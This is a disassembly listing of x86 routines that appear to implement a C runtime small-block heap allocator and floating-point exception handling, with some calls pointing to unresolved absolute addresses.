loc_41B883:				; CODE XREF: sub_41B592+1A9j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B888	proc near		; CODE XREF: sub_41BB80:loc_41BD4Fp
		cmp	dword_4397D0, 0FFFFFFFFh
		push	ebx
		push	ebp
		push	esi
		push	edi
		jnz	short loc_41B89C
		mov	esi, offset off_4397C0
		jmp	short loc_41B8B9
; ---------------------------------------------------------------------------


loc_41B89C:				; CODE XREF: sub_41B888+Bj
		push	2020h
		push	0
		push	dword_48B684
		call	near ptr 26F0000h
		nop
		mov	esi, eax
		test	esi, esi
		jz	loc_41B9C5


loc_41B8B9:				; CODE XREF: sub_41B888+12j
		mov	ebp, dword_4241B4
		push	4
		push	2000h
		push	400000h
		push	0
		call	ebp
		mov	edi, eax
		test	edi, edi
		jz	loc_41B9AE
		push	4
		mov	ebx, 10000h
		push	1000h
		push	ebx
		push	edi
		call	ebp
		test	eax, eax
		jz	loc_41B9A0
		mov	eax, offset off_4397C0
		cmp	esi, eax
		jnz	short loc_41B918
		cmp	off_4397C0, 0
		jnz	short loc_41B908
		mov	off_4397C0, eax


loc_41B908:				; CODE XREF: sub_41B888+79j
		cmp	off_4397C4, 0
		jnz	short loc_41B92D
		mov	off_4397C4, eax
		jmp	short loc_41B92D
; ---------------------------------------------------------------------------


loc_41B918:				; CODE XREF: sub_41B888+70j
		mov	[esi], eax
		mov	eax, off_4397C4
		mov	[esi+4], eax
		mov	off_4397C4, esi
		mov	eax, [esi+4]
		mov	[eax], esi


loc_41B92D:				; CODE XREF: sub_41B888+87j
					; sub_41B888+8Ej
		lea	eax, [edi+400000h]
		lea	ecx, [esi+98h]
		mov	[esi+14h], eax
		lea	eax, [esi+18h]
		mov	[esi+0Ch], ecx
		mov	[esi+10h], edi
		mov	[esi+8], eax
		xor	ebp, ebp
		mov	ecx, 0F1h


loc_41B94F:				; CODE XREF: sub_41B888+E2j
		xor	edx, edx
		cmp	ebp, 10h
		setnl	dl
		dec	edx
		and	edx, ecx
		dec	edx
		inc	ebp
		mov	[eax], edx
		mov	[eax+4], ecx
		add	eax, 8
		cmp	ebp, 400h
		jl	short loc_41B94F
		push	ebx
		push	0
		push	edi
		call	sub_417330
		add	esp, 0Ch


loc_41B978:				; CODE XREF: sub_41B888+112j
		mov	eax, [esi+10h]
		add	eax, ebx
		cmp	edi, eax
		jnb	short loc_41B99C
		or	byte ptr [edi+0F8h], 0FFh
		lea	eax, [edi+8]
		mov	[edi], eax
		mov	dword ptr [edi+4], 0F0h
		add	edi, 1000h
		jmp	short loc_41B978
; ---------------------------------------------------------------------------


loc_41B99C:				; CODE XREF: sub_41B888+F7j
		mov	eax, esi
		jmp	short loc_41B9C7
; ---------------------------------------------------------------------------


loc_41B9A0:				; CODE XREF: sub_41B888+63j
		push	8000h
		push	0
		push	edi
		nop
		call	near ptr 2830643h


loc_41B9AE:				; CODE XREF: sub_41B888+4Bj
		cmp	esi, offset off_4397C0
		jz	short loc_41B9C5
		push	esi
		push	0
		push	dword_48B684
		nop
		call	near ptr 26E0000h


loc_41B9C5:				; CODE XREF: sub_41B888+2Bj
					; sub_41B888+12Cj
		xor	eax, eax


loc_41B9C7:				; CODE XREF: sub_41B888+116j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B888	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B9CC	proc near		; CODE XREF: sub_41BA22+A5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	8000h
		push	0
		push	dword ptr [esi+10h]
		nop
		call	near ptr 2830643h
		cmp	off_43B7E0, esi
		jnz	short loc_41B9F1
		mov	eax, [esi+4]
		mov	off_43B7E0, eax


loc_41B9F1:				; CODE XREF: sub_41B9CC+1Bj
		cmp	esi, offset off_4397C0
		jz	short loc_41BA19
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	esi
		push	0
		mov	[eax], ecx
		mov	eax, [esi]
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		push	dword_48B684
		nop
		call	near ptr 26E0000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BA19:				; CODE XREF: sub_41B9CC+2Bj
		or	dword_4397D0, 0FFFFFFFFh
		pop	esi
		retn
sub_41B9CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BA22	proc near		; CODE XREF: sub_41BB3B+3Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_4397C4
		push	edi


loc_41BA2F:				; CODE XREF: sub_41BA22+B7j
		cmp	dword ptr [esi+10h], 0FFFFFFFFh
		jz	loc_41BACD
		and	[ebp+var_4], 0
		lea	edi, [esi+2010h]
		mov	ebx, 3FF000h


loc_41BA48:				; CODE XREF: sub_41BA22+72j
		cmp	dword ptr [edi], 0F0h
		jnz	short loc_41BA89
		mov	eax, ebx
		push	4000h
		add	eax, [esi+10h]
		push	1000h
		push	eax
		call	near ptr 2830643h
		nop
		test	eax, eax
		jz	short loc_41BA89
		or	dword ptr [edi], 0FFFFFFFFh
		dec	dword_48A07C
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_41BA7E
		cmp	eax, edi
		jbe	short loc_41BA81


loc_41BA7E:				; CODE XREF: sub_41BA22+56j
		mov	[esi+0Ch], edi


loc_41BA81:				; CODE XREF: sub_41BA22+5Aj
		inc	[ebp+var_4]
		dec	[ebp+arg_0]
		jz	short loc_41BA96


loc_41BA89:				; CODE XREF: sub_41BA22+2Cj
					; sub_41BA22+46j
		sub	ebx, 1000h
		sub	edi, 8
		test	ebx, ebx
		jge	short loc_41BA48


loc_41BA96:				; CODE XREF: sub_41BA22+65j
		cmp	[ebp+var_4], 0
		mov	ecx, esi
		mov	esi, [esi+4]
		jz	short loc_41BACD
		cmp	dword ptr [ecx+18h], 0FFFFFFFFh
		jnz	short loc_41BACD
		push	1
		lea	eax, [ecx+20h]
		pop	edx


loc_41BAAD:				; CODE XREF: sub_41BA22+9Aj
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41BABE
		inc	edx
		add	eax, 8
		cmp	edx, 400h
		jl	short loc_41BAAD


loc_41BABE:				; CODE XREF: sub_41BA22+8Ej
		cmp	edx, 400h
		jnz	short loc_41BACD
		push	ecx
		call	sub_41B9CC
		pop	ecx


loc_41BACD:				; CODE XREF: sub_41BA22+11j
					; sub_41BA22+7Dj ...
		cmp	esi, off_4397C4
		jz	short loc_41BADF
		cmp	[ebp+arg_0], 0
		jg	loc_41BA2F


loc_41BADF:				; CODE XREF: sub_41BA22+B1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BA22	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BAE4	proc near		; CODE XREF: sub_417C3B+3Ap
					; sub_41944F+173p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	edx, offset off_4397C0
		push	esi
		mov	ecx, edx


loc_41BAF0:				; CODE XREF: sub_41BAE4+1Cj
		cmp	eax, [ecx+10h]
		jbe	short loc_41BAFA
		cmp	eax, [ecx+14h]
		jb	short loc_41BB02


loc_41BAFA:				; CODE XREF: sub_41BAE4+Fj
		mov	ecx, [ecx]
		cmp	ecx, edx
		jz	short loc_41BB37
		jmp	short loc_41BAF0
; ---------------------------------------------------------------------------


loc_41BB02:				; CODE XREF: sub_41BAE4+14j
		test	al, 0Fh
		jnz	short loc_41BB37
		mov	esi, eax
		mov	edx, 100h
		and	esi, 0FFFh
		cmp	esi, edx
		jb	short loc_41BB37
		mov	esi, [esp+4+arg_4]
		mov	[esi], ecx
		mov	esi, [esp+4+arg_8]
		mov	ecx, eax
		and	cx, 0F000h
		sub	eax, ecx
		mov	[esi], ecx
		sub	eax, edx
		pop	esi
		sar	eax, 4
		lea	eax, [eax+ecx+8]
		retn
; ---------------------------------------------------------------------------


loc_41BB37:				; CODE XREF: sub_41BAE4+1Aj
					; sub_41BAE4+20j ...
		xor	eax, eax
		pop	esi
		retn
sub_41BAE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BB3B	proc near		; CODE XREF: sub_417C3B+4Dp
					; sub_41944F+1D5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		sub	ecx, [eax+10h]
		sar	ecx, 0Ch
		lea	eax, [eax+ecx*8+18h]
		mov	ecx, [esp+arg_8]
		movzx	edx, byte ptr [ecx]
		add	[eax], edx
		and	byte ptr [ecx],	0
		cmp	dword ptr [eax], 0F0h
		mov	dword ptr [eax+4], 0F1h
		jnz	short locret_41BB7F
		inc	dword_48A07C
		cmp	dword_48A07C, 20h
		jnz	short locret_41BB7F
		push	10h
		call	sub_41BA22
		pop	ecx

locret_41BB7F:				; CODE XREF: sub_41BB3B+2Bj
					; sub_41BB3B+3Aj
		retn
sub_41BB3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB80	proc near		; CODE XREF: sub_417BC7+4Ap
					; sub_41944F+1ACp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, off_43B7E0
		push	edi


loc_41BB8E:				; CODE XREF: sub_41BB80+C6j
		mov	edx, [esi+10h]
		cmp	edx, 0FFFFFFFFh
		jz	loc_41BC39
		mov	edi, [esi+8]
		lea	ecx, [esi+2018h]
		mov	eax, edi
		sub	eax, esi
		sub	eax, 18h
		sar	eax, 3
		shl	eax, 0Ch
		add	eax, edx
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jnb	short loc_41BBF3


loc_41BBB9:				; CODE XREF: sub_41BB80+6Fj
		mov	ecx, [edi]
		mov	ebx, [ebp+arg_0]
		cmp	ecx, ebx
		jl	short loc_41BBDC
		cmp	[edi+4], ebx
		jbe	short loc_41BBDC
		push	ebx
		push	ecx
		push	eax
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	eax, [ebp+var_4]
		mov	[edi+4], ebx


loc_41BBDC:				; CODE XREF: sub_41BB80+40j
					; sub_41BB80+45j
		add	edi, 8
		lea	ecx, [esi+2018h]
		add	eax, 1000h
		cmp	edi, ecx
		mov	[ebp+var_4], eax
		jb	short loc_41BBB9
		jmp	short loc_41BBF6
; ---------------------------------------------------------------------------


loc_41BBF3:				; CODE XREF: sub_41BB80+37j
		mov	ebx, [ebp+arg_0]


loc_41BBF6:				; CODE XREF: sub_41BB80+71j
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]
		lea	edi, [esi+18h]
		mov	[ebp+var_8], eax
		cmp	edi, eax
		mov	[ebp+var_4], ecx
		jnb	short loc_41BC3C


loc_41BC09:				; CODE XREF: sub_41BB80+B5j
		mov	eax, [edi]
		cmp	eax, ebx
		jl	short loc_41BC28
		cmp	[edi+4], ebx
		jbe	short loc_41BC28
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41BD88
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BC4B
		mov	[edi+4], ebx


loc_41BC28:				; CODE XREF: sub_41BB80+8Dj
					; sub_41BB80+92j
		add	[ebp+var_4], 1000h
		add	edi, 8
		cmp	edi, [ebp+var_8]
		jb	short loc_41BC09
		jmp	short loc_41BC3C
; ---------------------------------------------------------------------------


loc_41BC39:				; CODE XREF: sub_41BB80+14j
		mov	ebx, [ebp+arg_0]


loc_41BC3C:				; CODE XREF: sub_41BB80+87j
					; sub_41BB80+B7j
		mov	esi, [esi]
		cmp	esi, off_43B7E0
		jz	short loc_41BC5B
		jmp	loc_41BB8E
; ---------------------------------------------------------------------------


loc_41BC4B:				; CODE XREF: sub_41BB80+54j
					; sub_41BB80+A3j
		mov	off_43B7E0, esi
		sub	[edi], ebx
		mov	[esi+8], edi
		jmp	loc_41BD83
; ---------------------------------------------------------------------------


loc_41BC5B:				; CODE XREF: sub_41BB80+C4j
		mov	eax, offset off_4397C0
		mov	edi, eax


loc_41BC62:				; CODE XREF: sub_41BB80+F8j
		cmp	dword ptr [edi+10h], 0FFFFFFFFh
		jz	short loc_41BC6E
		cmp	dword ptr [edi+0Ch], 0
		jnz	short loc_41BC7A


loc_41BC6E:				; CODE XREF: sub_41BB80+E6j
		mov	edi, [edi]
		cmp	edi, eax
		jz	loc_41BD4F
		jmp	short loc_41BC62
; ---------------------------------------------------------------------------


loc_41BC7A:				; CODE XREF: sub_41BB80+ECj
		mov	ebx, [edi+0Ch]
		and	[ebp+var_4], 0
		mov	esi, ebx
		mov	eax, ebx
		sub	esi, edi
		sub	esi, 18h
		sar	esi, 3
		shl	esi, 0Ch
		add	esi, [edi+10h]
		cmp	dword ptr [ebx], 0FFFFFFFFh
		jnz	short loc_41BCA9


loc_41BC98:				; CODE XREF: sub_41BB80+127j
		cmp	[ebp+var_4], 10h
		jge	short loc_41BCA9
		add	eax, 8
		inc	[ebp+var_4]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41BC98


loc_41BCA9:				; CODE XREF: sub_41BB80+116j
					; sub_41BB80+11Cj
		mov	eax, [ebp+var_4]
		push	4
		shl	eax, 0Ch
		push	1000h
		push	eax
		push	esi
		mov	[ebp+var_8], eax
		call	near ptr 2830702h
		nop
		cmp	eax, esi
		jnz	loc_41BD81
		push	0
		push	[ebp+var_8]
		push	esi
		call	sub_417330
		mov	edx, [ebp+var_4]
		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41BD10
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41BCE6:				; CODE XREF: sub_41BB80+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41BCE6


loc_41BD10:				; CODE XREF: sub_41BB80+15Ej
		mov	off_43B7E0, edi
		lea	eax, [edi+2018h]


loc_41BD1C:				; CODE XREF: sub_41BB80+1A8j
		cmp	ecx, eax
		jnb	short loc_41BD2C
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41BD2A
		add	ecx, 8
		jmp	short loc_41BD1C
; ---------------------------------------------------------------------------


loc_41BD2A:				; CODE XREF: sub_41BB80+1A3j
		cmp	ecx, eax


loc_41BD2C:				; CODE XREF: sub_41BB80+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------


loc_41BD4F:				; CODE XREF: sub_41BB80+F2j
		call	sub_41B888
		test	eax, eax
		jz	short loc_41BD81
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43B7E0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41BD83
; ---------------------------------------------------------------------------


loc_41BD81:				; CODE XREF: sub_41BB80+143j
					; sub_41BB80+1D6j
		xor	eax, eax


loc_41BD83:				; CODE XREF: sub_41BB80+D6j
					; sub_41BB80+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BB80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD88	proc near		; CODE XREF: sub_41BB80+4Ap
					; sub_41BB80+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41BDCD
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41BDBC
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41BDC5
; ---------------------------------------------------------------------------


loc_41BDBC:				; CODE XREF: sub_41BD88+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41BDC5:				; CODE XREF: sub_41BD88+32j
		lea	eax, [edi+8]
		jmp	loc_41BE9B
; ---------------------------------------------------------------------------


loc_41BDCD:				; CODE XREF: sub_41BD88+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41BDD6
		mov	eax, esi


loc_41BDD6:				; CODE XREF: sub_41BD88+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41BE20


loc_41BDDD:				; CODE XREF: sub_41BD88+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41BE13
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41BDE9:				; CODE XREF: sub_41BD88+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BDF2
		inc	ebx
		inc	esi
		jmp	short loc_41BDE9
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BD88+64j
		cmp	esi, edx
		jnb	short loc_41BE44
		cmp	eax, [ebp+var_4]
		jnz	short loc_41BE00
		mov	[ecx+4], esi
		jmp	short loc_41BE0C
; ---------------------------------------------------------------------------


loc_41BE00:				; CODE XREF: sub_41BD88+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41BEA5


loc_41BE0C:				; CODE XREF: sub_41BD88+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41BE18
; ---------------------------------------------------------------------------


loc_41BE13:				; CODE XREF: sub_41BD88+59j
		movzx	esi, bl
		add	eax, esi


loc_41BE18:				; CODE XREF: sub_41BD88+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41BDDD


loc_41BE20:				; CODE XREF: sub_41BD88+53j
		lea	esi, [ecx+8]


loc_41BE23:				; CODE XREF: sub_41BD88+EBj
					; sub_41BD88+F2j
		cmp	esi, edi
		jnb	short loc_41BEA5
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41BEA5
		mov	al, [esi]
		test	al, al
		jnz	short loc_41BE75
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41BE3B:				; CODE XREF: sub_41BD88+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41BE65
		inc	ebx
		inc	eax
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------


loc_41BE44:				; CODE XREF: sub_41BD88+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE55
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41BE5E
; ---------------------------------------------------------------------------


loc_41BE55:				; CODE XREF: sub_41BD88+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41BE5E:				; CODE XREF: sub_41BD88+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41BE9B
; ---------------------------------------------------------------------------


loc_41BE65:				; CODE XREF: sub_41BD88+B6j
		cmp	eax, edx
		jnb	short loc_41BE7C
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41BEA5
		mov	esi, ebx
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------


loc_41BE75:				; CODE XREF: sub_41BD88+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41BE23
; ---------------------------------------------------------------------------


loc_41BE7C:				; CODE XREF: sub_41BD88+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41BE8D
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41BE96
; ---------------------------------------------------------------------------


loc_41BE8D:				; CODE XREF: sub_41BD88+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41BE96:				; CODE XREF: sub_41BD88+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41BE9B:				; CODE XREF: sub_41BD88+40j
					; sub_41BD88+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41BEA7
; ---------------------------------------------------------------------------


loc_41BEA5:				; CODE XREF: sub_41BD88+7Ej
					; sub_41BD88+9Dj ...
		xor	eax, eax


loc_41BEA7:				; CODE XREF: sub_41BD88+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BD88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEAC	proc near		; CODE XREF: sub_41944F+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41BEE6
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BEE6:				; CODE XREF: sub_41BEAC+26j
		jnb	short loc_41BF4D
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41BF4D
		lea	eax, [ecx+edx]


loc_41BEFB:				; CODE XREF: sub_41BEAC+59j
		cmp	eax, esi
		jnb	short loc_41BF09
		cmp	byte ptr [eax],	0
		jnz	short loc_41BF07
		inc	eax
		jmp	short loc_41BEFB
; ---------------------------------------------------------------------------


loc_41BF07:				; CODE XREF: sub_41BEAC+56j
		cmp	eax, esi


loc_41BF09:				; CODE XREF: sub_41BEAC+51j
		jnz	short loc_41BF4D
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41BF41
		cmp	esi, eax
		jbe	short loc_41BF41
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41BF38
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41BF33


loc_41BF2C:				; CODE XREF: sub_41BEAC+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41BF2C


loc_41BF33:				; CODE XREF: sub_41BEAC+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF38:				; CODE XREF: sub_41BEAC+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41BF41:				; CODE XREF: sub_41BEAC+68j
					; sub_41BEAC+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41BF46:				; CODE XREF: sub_41BEAC+38j
		mov	[ebp+var_4], 1


loc_41BF4D:				; CODE XREF: sub_41BEAC:loc_41BEE6j
					; sub_41BEAC+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BEAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_41BF55(int,int,double,int)

sub_41BF55	proc near		; CODE XREF: sub_417CA4+51p
					; sub_417DEB+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43BF38, 0
		jnz	short loc_41BF8A
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_41C50A
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BF8A:				; CODE XREF: sub_41BF55+Aj
		push	0FFFFh
		mov	dword_48A014, 21h
		push	[ebp+arg_C]
		call	sub_41C77D
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_41BF55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41BFA8(int,int,double,double,int)

sub_41BFA8	proc near		; CODE XREF: sub_417CA4:loc_417D67p
					; sub_417DEB:loc_417EAEp

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2F3
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41BFE6
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_41C040
		add	esp, 18h


loc_41BFE6:				; CODE XREF: sub_41BFA8+1Aj
		push	[ebp+arg_0]
		call	sub_41C5DD
		cmp	dword_43BF38, 0
		pop	ecx
		jnz	short loc_41C024
		test	eax, eax
		jz	short loc_41C024
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_41C50A
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C024:				; CODE XREF: sub_41BFA8+4Ej
					; sub_41BFA8+52j
		push	eax
		call	sub_41C592
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_41C77D
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_41BFA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C040	proc near		; CODE XREF: sub_41BFA8+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_41C072
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_41C072:				; CODE XREF: sub_41C040+23j
		test	cl, 2
		jz	short loc_41C085
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_41C085:				; CODE XREF: sub_41C040+35j
		test	cl, bl
		jz	short loc_41C097
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_41C097:				; CODE XREF: sub_41C040+47j
		test	cl, 4
		jz	short loc_41C0AA
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_41C0AA:				; CODE XREF: sub_41C040+5Aj
		test	cl, 8
		jz	short loc_41C0BD
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_41C0BD:				; CODE XREF: sub_41C040+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
